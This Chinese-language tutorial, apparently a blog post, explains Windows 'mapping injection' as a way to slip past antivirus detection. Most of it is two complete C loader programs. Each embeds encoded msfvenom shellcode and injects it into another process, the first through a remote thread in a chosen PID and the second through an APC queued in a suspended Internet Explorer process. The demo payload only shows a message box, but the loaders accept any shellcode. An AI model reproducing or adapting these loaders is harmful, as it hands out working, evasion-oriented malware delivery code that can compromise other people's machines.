具体流程：

  • 1.在注入进程创建mapping
  • 2.将mapping映射到注入进程虚拟地址
  • 3.往被映射的虚拟地址写入shellcode
  • 4.打开被注入进程句柄
  • 5.将mapping映射到被注入进程虚拟地址
  • 6.创建远程线程

最大的好处就是避免了使用一些比较容易报毒的api如：
VirtualAllocEx,WriteProcessMemory之类的
同时创建Mapping对象本质上属于申请一块物理内存，而申请的物理内存又能比较方便的通过系统函数直接映射到进程的虚拟内存里，因此可以避免使用一些经典的写入函数，增强了隐蔽性。

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #pragma comment (lib, "OneCore.lib")
  6. //msfvenom -p windows/x64/messagebox -e x64/xor_dynamic -i 15 EXITFUNC=thread  -f c
  7. unsigned char shellcode[] =
  8. "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51"
  9. "\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48"
  10. "\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48"
  11. "\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
  12. "\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e"
  13. "\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88"
  14. "\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48"
  15. "\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e"
  16. "\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41"
  17. "\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24"
  18. "\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0"
  19. "\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e"
  20. "\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
  21. "\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  22. "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1"
  23. "\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e\x4c\x8d"
  24. "\x85\x2b\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff"
  25. "\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
  26. "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
  27. "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x48\x65\x6c\x6c\x6f"
  28. "\x2c\x20\x66\x72\x6f\x6d\x20\x4d\x53\x46\x21\x00\x4d\x65\x73"
  29. "\x73\x61\x67\x65\x42\x6f\x78\x00";
  31. int main(int argc, char** argv)
  32. {
  33.     HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
  34.     LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));
  35.     memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
  37.     HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 19752);
  39.     LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
  41.     HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);
  43.     UnmapViewOfFile(lpMapAddress);
  44.     CloseHandle(hMapping);
  45.     return 0;
  46. }

组合拳

创建远程线程也容易被杀软报毒，因此可以结合别的注入方法形成一套组合拳，如APC、Early Bird等。

#include <windows.h>
#include <stdio.h>
#pragma comment (lib, "OneCore.lib")


//msfvenom -p windows/x64/messagebox -e x64/xor_dynamic -i 15 EXITFUNC=thread  -f c
unsigned char shellcode[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51"
"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48"
"\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48"
"\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e"
"\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88"
"\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48"
"\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e"
"\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41"
"\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24"
"\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e"
"\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1"
"\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e\x4c\x8d"
"\x85\x2b\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff"
"\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x48\x65\x6c\x6c\x6f"
"\x2c\x20\x66\x72\x6f\x6d\x20\x4d\x53\x46\x21\x00\x4d\x65\x73"
"\x73\x61\x67\x65\x42\x6f\x78\x00";

    int main() {
        STARTUPINFO si = { 0 };
        PROCESS_INFORMATION pi = { 0 };
        si.cb = sizeof(STARTUPINFO);
        HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);

        LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));

        memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));

        CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);

        LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, pi.hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

        QueueUserAPC((PAPCFUNC)lpMapAddressRemote, pi.hThread, NULL);
        ResumeThread(pi.hThread);
        CloseHandle(pi.hThread);
        CloseHandle(hMapping);
        UnmapViewOfFile(lpMapAddress);
        return 0;
    }

资料参考：https://github.com/idiotc4t/Mapping-injection